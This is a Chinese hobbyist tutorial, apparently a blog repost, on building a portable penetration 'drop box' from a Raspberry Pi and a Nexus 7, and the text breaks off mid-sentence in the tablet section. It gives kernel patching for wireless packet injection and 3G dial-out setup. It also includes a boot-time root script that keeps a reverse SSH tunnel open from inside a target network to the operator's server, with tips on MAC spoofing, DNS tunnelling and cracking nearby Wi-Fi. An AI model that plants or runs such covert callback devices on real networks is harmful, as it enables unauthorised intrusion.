用Android平板与RaspberryPi配置便携物理渗透设备(Pwn Pad & PwnPi)


发布人:admin分类:网络安全浏览量:28发布时间:2017-12-12

写在前面:

5月份的时候。看到Freebuf 上有一篇文章WiFi Pineapple Mark IV 无线安全审计的利器》 觉得看起来还挺不错的,但是看到那价钱99美元我就感觉有点贵..(学生党非土豪折腾的时候不爱找家里拿钱)所以就打消念头了。但是这想法是挺好的,因为之前没接触嘛。后面想到我有一台树莓派,就一直惦记着什么时候来自己打造一套设备。不过挺长一段时间都只是想。

直到前阵子的Freebuf上的5篇文章才有了我现在的这篇。最起初的一篇是FreeBuf线上活动:9月黑客晒书会(第一期)》看到获奖的瞬间非常非常开心,因为终于要拥有第一本属于自己的计算机安全这方面的书。那时候就一直惦记着要给Freebuf多点贡献;接着让我想法更强烈的是优质文章奖励计划(一直在YY写一篇能拿到200个金币的文章是什么样子的);第三篇是《让你的安卓设备跑起kali——kali for android 让我的平板成功的跑起了Kali Linux 第四篇是WiFi Pineapple Mark IV 无线安全审计的利器》 里面对这个设备功能的介绍,想着也要打造一个。第五篇是《图集:俺在国外当会棍——Sector 2013 会场篇、WIFI篇、CTF篇》 里面 @Kevin_2600 手上拿的外接了无线网卡的 Nexus 7。自己也就眼馋的想要搞一个(虽然大神没回答网卡型号,后面还是推测到类似是TP-Link WN722n这样的设备)

0×00:物理渗透设备的选择

Wifi Pineapple这个是我在折腾完树莓派之前了解到的唯一一个无线安全审计设备400Mhz CPU 软件业不少,看起来是不错,但对我来说很大的一个缺点就是太贵了99美元,要支持3G网络还要另购设备。网上好像说系统不开源。

(下面还有几个是折腾完在码字时才了解到的设备)

Mini Pwner 基于TP-LINK TL-WR703N或TL-MR3020 3G便携路由器。基于OpenWRT 而且开源,那么能实现的功能应该不少,不过玩的人好像不多。

Pwnie Express 公司下面有卖几个设备。基本上都是通过以有的设备进行定制Power Pwn 和Pwn Plug Elite 都是基于SheevaPlug 反正我是觉得好酷炫,他们实现的一些比如WEB UI ,SMS Text-to-Bash (基于3G 通过短信发送命令并回复。这思路太酷炫了)这公司现在还可以预定2013版的Nexus 7 版的Pwn Pad 以前应该就是Nexus 7 然后外接一个芯片是AR9271的TP-link WL-WN722n 进行无线安全审计。(Nexus 7 2013的Pwn Pad配置下面会有完整的过程)最后最重要的一点,价钱无比的坑爹。基于Nexus 7 2013 的Pwn Pad要995美元,而且还要预定。

我手头上的设备:

网卡zd1211b芯片的萨基姆760n(小故事:由来上高三时候家里宽带断网了以后又想看电影,然后发现学校教室能收到无线网络遂买网卡破还原卡破密码下片~)如果有人要赞助个TP-link 722n 研究研究拿更好啦~

USB 3G上网设备&热点:高三买的一把华为C8500(小故事:那时急于想体验安卓,穷学生没收入还找姐姐借了一部分钱狠下心去买的,陪伴了我看了无数的数码新闻,安卓硬件发展太快,后面回想起来只怪当初太年轻….不过后面手机被一个公交司机恶意给摔破屏幕了基本上值回不少钱了,哈哈。除了屏幕碎了,其他功能依旧正常)

树莓派:运行 Kali Linux for Raspberry Pi (小故事:大二上学期期末的时候,发现的设备,临近期末了,咬咬牙找从伙食费里省出了150然后找家里拿了150买的。当初买过来是打算搞个远程控制带摄像头的小车什么的,甚至YY个基于树莓派的飞行器哈哈。后面不了了之放着当Linux 服务器用了挺久的。感觉是个学习Linux的神器)

Android 平板 : Nexus7 2 我很少买电子产品但身边朋友的电子产品几乎都是让我推荐或者代买的(主要是因为没钱)那时候最初的打算是用来看书(计算机的书都好贵)。支持支持WIFIGPSWifi War-walking时必备)蓝牙4.0[连接蓝牙无线键盘必备] 高分辨率的屏幕(看片啊啥的太方便了)。支持OTG(有了这点有了太多可能外接各种设备)还有非常非常重要的一点,谷歌的亲儿子,开源!!以前知道android 系统开源,但是没有现在理解的这么深刻特别是在经历了为了配置一个内核而走了太多弯路了以后.. (小故事:大二暑假的时候去工厂流水线打工一小时8块钱,第一个月拿了1699。犹豫了好多次好久,终于在82号痛下决心花了1600买了它,虽然曾经被朋友说过,你这样的人这么会去工厂流水线打工但是我觉得那段时间是一个非常好的思考人生的时光。每个大学生都应该去经历一次非常想学习但是因为不想找家里拿钱买自己的东西而去做自己不喜欢的事。这样真的会成长的很快。晚上8点半下班到家然后帮别人改网站赚外快还借了不少书回来看)

0×01:树莓派的配置

配置环境(Windows 7 64位 + Ubuntu 13.04虚拟机 32位 + Putty + Pscp)

1、系统镜像安装

系统方面应该是没啥疑问的选择了Kali linux for raspberry pi 里面集成了太多的软件,而平时也比较习惯Kali果断就它了,现在最新版的是1.0.5。但是这个版本网卡会有问题,会显示 no wireless extensions 现在回想起来应该是内核的问题,少了几个选项。官方论坛里面也有人遇到这样的问题(点击这里)后面也有解决的方法就是安装1.0.0版本    Kali Linux for RaspberryPi 1.0.0 种子点击这里

1)Windows 下用Win32 disk imager 把镜像写入SD卡。操作太简单了就不介绍了。(软件下载地址点击这里

2)Linux

dd if=kali-pi.img of=/dev/sdb bs=512k

(这边要注意sdb要确定是你SD卡,具体的话插入SD卡以后运行dmesg查看具体是什么名字

3)写入完用Gparted 这个分区软件把SD卡上镜像所没利用到的空间给扩满

unmount and resize . (等补充)

2、内核编译

    如果你的网卡能在RaspberryPi下正常工作支持注入的话。那么装一下Firmware就好了。Kali Linux for RaspberryPi zd1211b芯片的默认网卡驱动是不支持注入的(详情与解决方法点击Aircrack-ng > zd1211rw)(查看网卡支不支持aircrack-ng,以及驱动之类有没有要打补丁的情况。请猛点击Aircrack-ng官网

下面的操作都以zd1211b为例。

1)获取源码与固件

Github上能下载到RaspberryPi 的内核源码 地址: https://github.com/raspberrypi/linux

现在已经有3.12内核的源码了。不过鉴于比较保守的原则。我选择了3.10.y这个分支

我这边连Github有时候有点蛋疼。所以我就选择了Download Zip

网速快的同学可以自行选择使用git clone的方法。

2)解压

    解压这东西之所以也拿出来讲是因为我在解压的时候也遇到了问题。zip文件我用unzip解压内核的时候出现”symlink error: File name too long ” 然后用jar解压就没问题了。解压就没问题了。

jar –xf linux-rpi-3.10.y.zip

但是用jar解压交叉编译器时权限设置又会丢失。所以除了内核源码以外的都还是用unzip 

3)开始重新编译内核让无线网卡支持注入

#RaspberryPi上运行

root@kali:~#cp /proc/config.gz /root/ #获取当前kernel的.config文件
#千万要记得不要再当前目录运行zcat config.gz > .config 不然你的Xwindow会打不开VNC也是...那时候不懂,搜了非常久才发现。那时候蛋碎了好久
#关闭 RaspberryPi 拔出SD卡

#Ubuntu虚拟机上运行

root@ubuntu:# pwd #当前目录的名字是RPi
/root/RPi
root@ubuntu:# ls
firmware-master.zip  linux-rpi-3.10.y.zip  tools-master
firmware-master  linux-rpi-3.10.y     tools-master.zip
root@ubuntu:# mv linux-rpi-3.10.y linux #将内核源码的目录名字改成linux方便等下打驱动补丁

#插入SD

root@ubuntu:# mkdir /media/ SD
root@ubuntu:# mount /dev/sdb2/ /media/SD #这边的sdb表示的是你SD卡的设备文件名 2是第二个分区。第二个分区是根目录。第一个分区是 /boot
root@ubuntu:# cp /media/SD/root/config.gz .config 
root@ubuntu:# mv .config /linux/ #将配置文件放在内核的文件夹
root@ubuntu:# cd /root/RPi/tools-master/arm-bcm2708/arm-bcm2708hardfp-linux-gnueabi/bin/
root@ubuntu:# export PATH="$PATH:$PWD" #将交叉编译器的目录添加到PATH中
root@ubuntu:# export ARCH=arm 
root@ubuntu:# export CROSS_COMPILE= arm-bcm2708hardfp-linux-gnueabi- #设置好交叉编译环境
root@ubuntu:# cd /root/RPi/
root@ubuntu:# wget http://trac.aircrack-ng.org/raw-attachment/ticket/894/zd1211rw-inject%2Bdbi-fix-3.7.4.patch
#下载网卡的补丁
root@ubuntu:# patch -Np0 –i zd1211rw-inject+dbi-fix-3.7.4.patch #打补丁,如果怕补丁没打上,可以参照着补丁文件里的具体语句用vim 确认一下作用文件 /linux/drivers/net/wireless/zd1211rw/zd_mac.c
root@ubuntu:# cd linux #进入内核源码目录
root@ubuntu:# make oldconfig
root@ubuntu:# apt-get install ncurses-dev #安装menuconfig 图形配置内核所需要的库
root@ubuntu:# make menuconfig #图形化配置内核

配置内核可以参考下面Nexus7 的配置

#要支持有线网卡的话也是同理,直接勾选网卡芯片所对应的驱动模块,手头上有一个二手usb网卡(dm9601芯片)因为很早的东西了,所以很便宜。

root@ubuntu:# make #就开始编译了

接下来通过下面参考资料的步骤更新vc以及安装模块和替换内核。

通过上面的配置Raspberrypi 已经能成功支持zd1211b芯片的注入模式,Airodump-ng 已经能正常显示当前信号范围下无线网络的客户端与AP的连接情况

参考资料:《[Raspberry Pi] 树莓派 Kernel 编译笔记》 


3、 配置3G上网设备

如果一个物理渗透设备不支持3G那就没办法在一开始远程破解无线网络了,所以接下来要开始折腾3G网络。我下面以我的耐摔神器c8500(现在淘宝上功能完整的只要100左右)为例子进行配置。

通过android手机让设备上网有2种方式,一种是usb tether ,还有另外一种是把手机当成和3G上网卡一样的USB modem 通过pppoe 拨号。第一种方式比较简单 只要RaspberryPi 支持rdnis 就可以了。kali linux 1.0.0默认是支持的。将手机通过USBRaspberryPi 连接,手机上选择USB 绑定然后RaspberryPi上的网络设备就会多出了一个usb0

#简单的途径

    dhclient usb0 #搞定(默认的内核配置会自动加载rdnis_host模块)
    #这之前只要手机能联网并且打开USB绑定(USB Tethering)此时Raspberry Pi就能够上网了

#麻烦的途径

   还有一种比较麻烦的就是通过USB Modem拨号(常见的设备比如USB 3G上网卡,以及支持USB modem的手机。当然了我是用我酷炫的C8500)我手机已经开启了调试模式,但在Linux下调试模式现在还无法正常工作。因为Android手机的usb有很多子系统。比如默认挂载的是usb-storage,但是adb和usb modem还不能正常工作。接下来我们就要掏出usb_modeswitch usb_modeswitch 介绍(http://www.cnblogs.com/jasonliu/archive/2011/11/09/2242070.html)简单点来说usb_modeswitch 就是要让我们平时在windows下装了驱动能正常工作的adb,usb_modem这种设备正常工作

 

首先,确定你设备的ID,插入了设备以后在终端运行dmesg,应该就会看到一行

New USB device found,idVendor=12d1 idPorduct=1031    #记下备用 运行 lsusb同样可以获得  id:12d1 1031

接下来安装usb_modeswitch (官网#需要翻墙)

usb-modeswitch-2.0.1          (http://www.draisberghof.de/usb_modeswitch/usb-modeswitch-2.0.1.tar.bz2)

usb-modeswitch-data      (http://www.draisberghof.de/usb_modeswitch/usb-modeswitch-data-20131113.tar.bz2)

还需要安装libusb 1.x 在终端直接运行     

apt-get install libusb-1.0.0

将上面两个压缩包下载到  raspberry pi 并解压(没有VPN的话 开goagent 下载完scp到树莓派上)

#在压缩包的目录运行

tar -xvf usb-modeswitch-2.0.1.tar.bz2
cd usb-modeswitch-2.0.1
make install
tar -xvf usb-modeswitch-data-20131113.tar.bz2
cd ../usb-modeswitch-data-20131113
make install

接下来就能开始配置了

 cd /usr/share/usb_modeswitch/    #在这个目录下找到你手机对应的设备ID的配置文件,我的手机是12d1:1031对应的文件名就是12d1:1031
vim 12d1:1031

# Huawei U8110 / Joy, Vodafone 845 (Android smartphone)
TargetVendor=  0x12d1
TargetProduct= 0x1035
MessageContent="55534243123456780600000080010a11060000000000000000000000000000"
# for Android SDK
NoDriverLoading=1

注意那个TargetVendor和TargetProduct这两个参数顾名思义就是目标的设备ID,那我们怎么知道我们的设备能正常工作的ID是多少呢?我想到一个比较便捷的方法。因为在Windows下这类操作都比较简单,在Windows下安装好驱动,然后在设备管理器里看能正常工作的设备的ID。下面是图解(驱动不好找的话自备各类手机助手)

然后看看获取的ID与USB_modeswitch的配置文件里有没有对应(如果你设备ID存在的话!)如果不存在,那就要自己建立。

保存后重新把手机缓缓的插入树莓派。此时手机界面上应该能够跳出一个非常激动人心的“调试模式”了。那时候折腾这个折腾到蛋快碎了。然后dmesg里面也终于出现了

[   12.406805] usbcore: registered new interface driver usbserial
[   12.468079] usbcore: registered new interface driver usbserial_generic
[   12.526598] usbserial: USB Serial support registered for generic
[   12.586989] usbcore: registered new interface driver option
[   12.612650] usbserial: USB Serial support registered for GSM modem (1-port)
[   12.634668] option 1-1.3:1.4: GSM modem (1-port) converter detected
[   12.666828] usb 1-1.3: GSM modem (1-port) converter now attached to ttyUSB0

本来本来以为这样就好了。。。。。怀着非常激动的心情把拨号上网给配置了。后面才发现无法拨号无法拨号无法拨号。瞬间心又凉了。因为这是第一次折腾关于Linux下3g拨号,关键词不够犀利。找了好久最后才在xda-developers找到了一个回复    大概就是说要让option 模块知道新设备的ID

echo "12d1 1035"  > /sys/bus/usb-serial/drivers/option1/new_id

[  485.833608] option 1-1.3:1.0: GSM modem (1-port) converter detected
[  485.851587] usb 1-1.3: GSM modem (1-port) converter now attached to ttyUSB1
[  485.884724] option 1-1.3:1.1: GSM modem (1-port) converter detected
[  485.904363] usb 1-1.3: GSM modem (1-port) converter now attached to ttyUSB2
[  485.934414] option 1-1.3:1.3: GSM modem (1-port) converter detected
[  485.955435] usb 1-1.3: GSM modem (1-port) converter now attached to ttyUSB3

这时候就可以开始配置ppp拨号了(因为我的手机是Evdo制式3G,其他制式的配置文件看下面链接)

apt-get install ppp

vim /etc/ppp/peers/evdo

debug
nodetach
lock
/dev/ttyUSB0
115200
user "ctnet@mycdma.cn"
password "vnet.mobi"
crtscts
show-password
usepeerdns
noauth
noipdefault
novj
novjccomp
noccp
defaultroute
ipcp-accept-local
ipcp-accept-remote
connect '/usr/sbin/chat -s -v -f /etc/ppp/peers/chat-evdo-connect'
disconnect '/usr/sbin/chat -s -v -f /etc/ppp/peers/chat-evdo-disconnect’

vim /etc/ppp/peers/chat-evdo-connect

TIMEOUT 60
ABORT 'NO CARRIER'
ABORT 'ERROR'
ABORT 'NO DIALTONE'
ABORT 'BUSY'
ABORT 'NO ANSWER'
'' /rATZ
OK-AT-OK ATD#777
CONNECT /d/c

vim /etc/ppp/peers/chat-evdo-disconnect
ABORT 'NO CARRIER'
ABORT 'ERROR'
ABORT 'NO DIALTONE'
ABORT 'BUSY'
ABORT 'NO ANSWER'
SAY "/nSending break to the modem/n"
'' "/K"
'' "+++ATH"
SAY “/nGoodbay/n"

建立了上述的几个文件以后,插入手机。然后

echo "12d1 1035"  > /sys/bus/usb-serial/drivers/option1/new_id #就能够开始拨号了

pppd call evdo #就会看到获取到IP了 此时就能上网了

(实测C8500在设备插入树梅派以后,将ID写入了new_id需要关闭手机上的usb调试再重新打开方可拨号,而C8650不在插入了以后直接将ID写入new_id就可以拨号了。[拨号的时候要断开手机上的网络连接])

参考这两篇文章

《嵌入式Linux下3G USB Modem的使用》

《3G卡片在开发板上的详细解决方法(适用于大多数3G卡片) 》(内有td-scdma 和cdma 1x的配置文件)

4、连接思路

    身为一个物理渗透设备,而且还支持3g,又有有线网卡和无线网卡,如果我们不能连接到设备那就失去了好多选择以及乐趣。之前单纯的以为可以通过手机开启 usb tethering 通过RNDIS让树莓派上网然后手机通过iptables端口转发加上树莓派上的花生壳之类的动态域名软件获取IP,然后正向连接到物理渗透设备的端口。(后面知道了这个想法不行。)

物理渗透设备,在大部分情况下都会是在内网,而内网的话正向连接这么直接的东西一般是没有机会用的。那么只有反向连接了。

比较好用的就是SSH 远程转发 (ssh remote forwarding) 也就是ssh -R选项,它可以在执行-R命令的机子上通过SSH隧道 绑定到隧道另一边服务器的端口。更多介绍点击 IBM的《实战SSH 端口转发》

它的命令格式是:

ssh -R <local port>:<remote host>:<remote port> <SSH hostname>

#这里我们假设你本机想要连接RaspberryPi且你安装了SSH client 和SSH server 。这边的Local port 是指你本机的哪个端口想和在远程服务器上的[remote port]端口绑定。remote host就是Raspberry Pi 而SSH hostname 就是你本机的SSH服务器 地址如果端口不是默认的22 的话 记得加上 -p xx

接着我们在RaspberryPi下执行

ssh -f -N -R 7001:localhost:22 YourSSHIP

#-f 选项:后台认证用户/密码

#-N 选项: 不执行远程命令,适合只做转发的时候用。

此时,我们就可以在本机执行 ssh username@localhost -p 7001 连接到树梅派的22端口。这里的username是你登录树梅派的服务器使用的用户名,接着输入密码就可以了。命令执行完如果成功的话不会有什么输出。(tip如果中途树莓派重启的话ssh隧道关闭了,短时间本机的7001端口还是会被占用,要到一定时间本机的服务器才会关闭这次连接的会话。此时你只要在本级找到占用7001端口的sshd的pid然后结束掉就可以了。)

netstat -npl | grep 7001 
kill “进程的pid”

然后重新执行 

ssh -f -N -R 7001:localhost:22 YourSSHIP

就OK啦。


但是只有上面那些是不够的,那只是反弹连接的思路

下来有几个连接思路,我把它分成两部分来说

第一部分:获取目标网络使用权前

    1、3g网卡拨号上网,成功联网,通过SSH 远程转发 连接到服务器。(也就是插入手机,然后使用pppd拨号,接着使用ssh 远程转发 建立隧道)

    2、手机启动usb tether(USB绑定),成功联网,通过ssh远程转发 连接到服务器。

    3-0、无线网卡,在获取了目的网络周围的无线网络密码后,配置好无线网络的连接信息自动连接到跳板网络后连接到远程服务器。

    3-1*  如果目标网络周围有没加密的热点,但是有paywall (要登录验证)且没有封DNS的端口 可以通过DNS隧道穿之。DNS 隧道配置的方法 详情见《》  (DNS 协议的局限,每次发的数据包都不大,所以速度可能会不怎么理想,但是多一种思路总是好的,还省上网流量主要…..)

————上述几个方法可以根据目标网络的接入方式选用第二个网络设备为无线网卡或者有线网卡————

第二部分:获取了目标网络的使用权。

    1、可以接入目的网络以后,要看看有没有DHCP 服务器,如果没有的话要用软件抓包嗅探,MAC 地址绑定的话,也要改MAC地址 当能够正常通过目的网络联到外网的话。当然是断开3G网络,(开VPN,)开搞。

    2、接入了目的网络,但那网络只能上内网,也还是按照上面接入前的思路,一个网络设备进行本机远程控制RaspberryPi,第二个网络设备与目的网络进行通信。

5、自动化脚本

    配置好了设备的网络以及连接方式,但你物理入侵的时候总不能一直是手动输入指令连接服务器吧。接下来就要按照个人的入侵需求来编写脚本。(至少要能够自动远程端口转发吧)

下面是一段基于USB tether(USB绑定)通过手机3g上网然后连接服务器的脚本。首先手机要安装自动打开USB tether 的软件。下面是我看了一个多礼拜的《Linux Shell 从初学到精通》写出来的自动连接并检测远程端口转发是否成功的脚本。主要是利用的ssh可以不登录执行命令的机制。检测间隔时间是600秒,如果时间太快的话SSH连接会阻塞。600秒的话基本没事。(因为是第一次写,脚本是在有限认知里写出来的,只能说能用但不精致高效。如果有大神可以写个更酷炫的主动远程端口转发的思路就更好啦 :) )(注下面脚本为了实现方便,本机和Raspberry Pi两端都是拥root用户,对安全要求比较高的同学,可以在这方面另作修改加强。eg:防暴力破解之类的)

#!/bin/bash
#Auto Remote Forwarding and check rndis connection for RaspberryPi
#By FallenSec
#My blog http://www.fallensec.com 
#Edit some option below to configure your Own script
c_remoteserver=www.xxx.com     #Your remote server.
c_serveruser=root                #Your remote server’s user .
c_serverport=9999              #The port on your server you want to connection to RaspberryPi
c_serversshport=22            #Your remote ssh server&#039;s port .
c_localport=32                 #Your RaspberryPi&#039;s ssh server port. Default it’s 22.
c_localuser=root
c_myusb=usb0                     #On my RaspberryPi it always be "usb0" when I enble USB tether on my android phone.
c_pingserver=www.baidu.com       #The server use to check online .
c_sleeptime=600                 #Check ssh connection per 10 mins.
echo -e "33[32m ---------------------------------------------33[0m"
echo -e "33[32m|33[0m                                ____         33[32m|"
echo -e "|33[0m Auto Remote Forwarding Script | __ ) _   _  33[32m|"
echo -e "|33[0m                               |  _ | | | | 33[32m|"
echo -e "|33[0m For RaspberryPi PwnBox        | |_) | |_| | 33[32m|"
echo -e "|33[0m                               |____/ __, | 33[32m|"
echo -e "|33[0m                                      |___/  33[32m|"
echo -e "33[32m|33[34m   _____     _ _            ____             33[32m|"
echo -e "33[32m|33[34m  |  ___|_ _| | | ___ _ __ / ___|  ___  ___ 33[32m |"
echo -ne "33[32m|33[34m"
echo -n "  | |_ / _` | | |/ _  &#039;_ ___  / _ / __| "
echo -e "33[32m|"
echo -e "|33[34m  |  _| (_| | | |  __/ | | |___) |  __/ (__  33[32m|"
echo -e "|33[34m  |_|  __,_|_|_|___|_| |_|____/ ___|___| 33[32m|"
echo -e "  --------------------------------------------33[0m"
                                          
                                          
WARN="[33[33mwarn33[0m] "
FAIL="[33[31mfail33[0m] "
OK="[ 33[32mok 33[0m] "
f_check()
{
    if [ `echo $?` -eq 0  ]
    then
        echo -ne "$OK"
    else
        echo -ne "$FAIL"
    fi
}
loop=1
while (loop=0)
do  
    ping -c 1 $c_pingserver >/dev/null 2>&1
    checknet=`echo $?`
    if [ $checknet -eq 0 ] 
    then
        echo -ne "$OK" 
        echo "Network is working."
        echo "[....] Staring the kill the old connection."
        ssh $c_serveruser@$c_remoteserver -p $c_serversshport "/root/kill.sh" >/dev/null 2>&1
        checkprogress=`echo $?`
        if [ $checkprogress -eq 255 ]
        then
            echo -ne "$WARN"
            echo "Remote server seems down or Network is not working."
            continue
        else 
            ssh -f -N -R $c_serverport:localhost:$c_localport $c_serveruser@$c_remoteserver -p $c_serversshport
            f_check
            echo "Create remote forwarding."
        fi
        while (loop=0)
        do  
             
            echo "[....] Checking remote forwarding connection."
            ssh $c_serveruser@$c_remoteserver -p $c_serversshport "ssh $c_localuser@localhost -p $c_serverport "uname" " >/dev/null 2>&1
            checkrf=`echo $?`
            if [ $checkrf -eq 2 ]
            then
                echo -e "[....] 33[31;1mNetwork connection down!!!"
                break #In the loop of checking find a timeout .Break to Warning
            fi
            if [ $checkrf -eq 255 ]
            then
                echo -e "[....] 33[31;1mSSH session Closed ,restarting now.33[0m"
                ssh $c_serveruser@$c_remoteserver -p $c_serversshport "/root/kill.sh" >/dev/null 2>&1
                checkprogress2=`echo $?`
                if [ $checkprogress2 -eq 255 ]
                then
                    echo -ne "$WARN"
                    echo "Remote server seems down or Network is not working ."
                    break
                else
                    ssh -f -N -R $c_serverport:localhost:$c_localport $c_serveruser@$c_remoteserver -p $c_serversshport
                    f_check
                    echo "Create remote forwarding."
                fi
            else
                echo -ne "$OK"
                echo "Remote forwarding is working."
            fi
            sleep $c_sleeptime
        done
        
    else 
        
        echo -ne "$WARN"
        echo "Connection Failed.Restarting Now."
        ifconfig $c_myusb down 2>/dev/null
        if [ `echo $?` -eq 255 ]
        then
            PHONE=0
            while( PHONE=1 )
            do
                echo -e "33[31mPlease Plugin Your Phone And Enble USB Tethering!!!!33[0m"
                ifconfig $c_myusb down 2>/dev/null
                if [ `echo $?` -eq 0 ]
                then
                break
                fi
                sleep 5
            done
        fi
        echo -ne "$OK"
        echo "Stop usb network adapter."
        ifconfig $c_myusb up
        f_check
        echo "Start usb network adapter."
        dhclient $c_myusb >/dev/null 2>&1
        f_check
        echo "Obtian a IP address ."
    fi
    sleep 3
done

使用的时候,保存成sh文件。然后在树莓派上设置开机自动运行。

但是仅仅一个脚本还不够。

1、要在本机配置一个脚本,因为树梅派那端如果网络中断,SSH 远程端口转发已经断了,而你此时本机要是刚好连接上去,会一直卡住。所以本机上面还要有一个脚本是用来结束本机端SSH forwarding 的进程。细心的同学会发现脚本里面有一个 /root/kill.sh(因为经验还不够那本Shell 的书还没完全吸收掌握,还没有去研究把2个脚本合成1个。)

在本机的/root/目录下建立kill.sh 然后添加执行权限,kill.sh内容

kill `netstat -npl | grep 9999 | grep "tcp " | awk &#039;{print $7}&#039; | awk -F "/" &#039;{print $1}’`
#上面命令的9999和前面c_serverport的值要一样。

2、所有自动化脚本基本上配置好了,但是因为实现是基于SSH ,那么生成空口令的公钥用来登录这就必不可少了。

ssh-keygen -t rsa

#还有 dsa ,ecdsa另外这两种方式,你如果不想指定 identityfile 的话,你先试着在树梅派上通过SSH 连接到本机,然后就会显示加密方式如:

The authenticity of host ‘x.x.x.x (x.x.x.x)&#039; can&#039;t be established.
RSA key fingerprint is

#然后看到服务器自动给提示的是“RSA key” 然后你生成的时候就生成RSA算法的密钥,此时如果你生成的是dsa加密的公钥那可能还是要输入密码的,因为服务器那端自动给你是rsa。指定了 identityfile 就没有关系了。

下面是个小例子。本机执行

root@FallenSec:~# ssh-keygen -t ecdsa
Generating public/private ecdsa key pair.
Enter file in which to save the key (/root/.ssh/id_ecdsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_ecdsa.
Your public key has been saved in /root/.ssh/id_ecdsa.pub.


The key fingerprint is:
xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx root@FallenSec
The key is randomart image is:
+--[ECDSA  256]---+
|   o..           |
|  . +            |
| . . .           |
|..    . . .      |
|+      .S+       |
|oo       .o      |
|=.+   . =  .     |
|Eo .   * ..      |
|o       o.       |
+-----------------+
root@FallenSec:~#

接着把$HOME 目录下 .ssh/id_ecdsa.pub传到树梅派对应$HOME目录下的.ssh文件夹

scp /root/.ssh/id_ecdsa.pub root@192.168.1.88:/root/.ssh/rpi_ecdsa_pub #192.168.1.88是RaspberryPi的IP
ssh root@192.168.1.88 "cat /root/.ssh/rpi_ecdsa_pub >> /root/.ssh/authorized_keys"

(在写这篇文章的时候发现了也回想起了《SSH权威指南》有提到ssh-copy-id这东西。)

ssh-copy-id -i .ssh/id_rsa.pub user@server

说明:

该命令会提示输入用户 user 在 server 上的SSH登录口令。
当此命令执行成功后,再以 user 用户登录 server 远程主机时,不必输入口令直接登录。
该命令实际上将 .ssh/id_rsa.pub 公钥文件追加到远程主机 server 的 user 主目录下的 .ssh/authorized_keys 文件中

然后现在连接就不用密码了 :) 记住两端都要分别创建公钥然后传到对方服务器因为脚本的检测机制很重要的一个就是连接对方的服务器再再对方服务器连接回来测试SSH连接是否正常….(我承认这不是一个高明的办法但它挺有效的,求大神给建议改进)

还有2个Tip

我在Raspberry Pi上填写控制端的地址是拥域名的形式,如果域名的IP变了。(花生壳动态IP之类)就会跳出一个让你确认要不要继续连接的提示,此时你要输入 yes or no 。这种提示不便与我们所编写脚本的自动化。如:


The authenticity of host   &#039;x.x.x.x (x.x.x.x)&#039; can not be established.
RSA key fingerprint is
Are you sure you want to continue connecting (yes/no)? yes

此时将 StrictHostKeyChecking no 加到/etc/ssh/sshconfig 可以让ssh客户端

自动接受新主机的host key,不用每次都自己输入yes

还有一个,就是在我做稳定性测试(也就是半夜树梅派开着然后服务器通过本地的端口连接SSH)发现长时间没有数据传输的话,连接会话会超时。

设置服务器向SSH客户端连接会话发送频率和时间(在树梅派上设置)

vi /etc/ssh/sshd_config #添加如下两行

ClientAliveInterval 60

ClientAliveCountMax 86400

注:ClientAliveInterval选项定义了每隔多少秒给SSH客户端发送一次信号;ClientAliveCountMax选项定义了超过多少秒后断开与ssh客户端连接

参考资料

《SSH 公钥认证》

《Simplify Your Life With an SSH Config File》

《SSH 权威指南》

《解决SSH会话连接超时问题》

《SSH-KeyGen Man Page》

此时,树莓派最基本的通过3g手机共享上网自动远程端口转发的配置就完成了。如果是不同的网络情况可以自行修改脚本(如已知周围有热点,或者已经获得过周围加密无线网络密码(有线网络使用权)等情况)

下面是一个小小的演示视频(演示上述脚本以及无线网卡、有线网卡、Android Phone USB tethering 共享上网(RNDIS)、USB Modem 3G拨号上网(3G上网卡同支持USB modem的手机)的功能测试)

树莓派部分终于写完了,一直拖着,在编写与调试脚本的时候遇到了不少问题,幸亏之前找人很便宜的买了一台Motorola Laptop dock 用来当成树梅派的显示屏。有时候代码写错了,树梅派开机一直死循环….不断插拔储存卡挂载改代码,大概花了2个天的时间才写完,后面还参考Linux启动的感觉添加了一些提示文字,颜色,ASCII字(当然是我的网名哈哈)

0×02:Android平板的配置

Pwn Pad 的话,前面有说了我为什么使用nexus 7。这里就不累述了。直接进入主题

一台Pwn Pad 在我心目中的功能(目前我已经实现的功能):

1、要能够外接U盘,硬盘(只要有OTG功能都能有吧)
2、要方便无线war-walking(这个需要GPS,Nexus 7 2013 有这个功能),
3、要能够支持有线网卡(有的地方不能使用无线网络,动静太大,有些地方只有有线网络)
4、要支持3G设备(手机发射热点是一种解决方法,但它的缺点就是太耗电以及无线网络动静太大。外接3G上网卡之类的USB modem或者支持USB共享的手机是个不错的方法)
5、还有很酷炫的一个功能,那就是支持USB串行通信设备比如PL2303,CH341(因为楼主是个工科生,所以和控制器通信这反面的还是有一定的兴趣…可以给单片机下载程序,为便携入侵单片机提供了可能;直接和树莓派的终端通信,可以随时对树莓派进行配置操作,使渗透测试更加灵活。)
6、要能够破解无线网络,对无线网络进行监听注入。(RT8187,ar9170,zd1211b,ar9271,GW3887,rt3070等等有关注过无线安全的同学们看到这边应该很兴奋了,可以在一台平板上就能破解无线了耶)
7、要同时支持上述一个或多个功能(挂个HUB)
8、要满足第七点,还能够边给平板充电边给上述设备供电,不要为电源而烦恼。


(看到这边有同学兴奋了吗)

下面围绕上面几点展开来介绍,如何一步一步实现这些功能

要让Android 平板能够支持有线网卡,外接无线网卡,3G上网卡,RNDIS Host(USB tether的Host-side所需要的一个模块),串行通信设备。这些设备的驱动、模块都是要在内核上面开启的,而官方内核几乎是都没有开启上面功能。如果我们想要使用,那

被黑站点统计 - 文章版权1、本主题所有言论和图片纯属会员个人意见,与本文章立场无关
2、本站所有主题由该文章作者发表,该文章作者与被黑站点统计享有文章相关版权
3、其他单位或个人使用、转载或引用本文时必须同时征得该文章作者和被黑站点统计的同意
4、文章作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任
5、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责
6、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意
7、被黑站点统计管理员有权不事先通知发贴者而删除本文

免责声明

本站主要通过网络搜集国内被黑网站信息,统计分析数据,为部署安全型网络提供强有力的依据.本站所有工作人员均不参与黑站,挂马或赢利性行为,所有数据均为网民提供,提交者不一定是黑站人,所有提交采取不记名,先提交先审核的方式,如有任何疑问请及时与我们联系.

admin  的文章


微信公众号

微信公众号


Copyright © 2012-2022被黑网站统计系统All Rights Reserved
页面总访问量:21406232(PV) 页面执行时间:86.34(MS)
  • xml
  • 网站地图